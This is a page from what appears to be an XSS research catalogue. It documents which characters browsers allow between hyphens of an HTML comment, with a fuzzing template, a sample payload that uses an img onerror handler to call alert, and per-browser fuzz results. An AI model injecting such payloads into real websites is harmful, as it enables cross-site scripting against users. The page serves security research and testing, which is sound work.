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Characters allowed in-between hyphens

Chrome logo 1
Firefox logo 1
Edge logo 1
Safari logo 1

This vector shows what characters are allowed in-between hyphens of a HTML comment.

hackvertor
Created byhackvertor
Created Apr 14, 2024
Updated May 14, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<!-$[chr]- ><xmp>--><img src/onerror=log($[i])>-->

Sample payloads

<!--- ><xmp>--><img src/onerror=alert(45)>-->

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 1 result
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated18 Feb 2026
Found 1 result
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Chrome logo
Chrome 124.0.0.0 Unknown Unknownolder version
Updated29 Apr 2024
Found 1 result
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Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 1 result
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Firefox logo
Firefox 125.0 Unknown Unknownolder version
Updated29 Apr 2024
Found 1 result
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 1 result
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Safari logo
Safari 17.4.1 Unknown Unknown
Updated14 Apr 2024
Found 1 result
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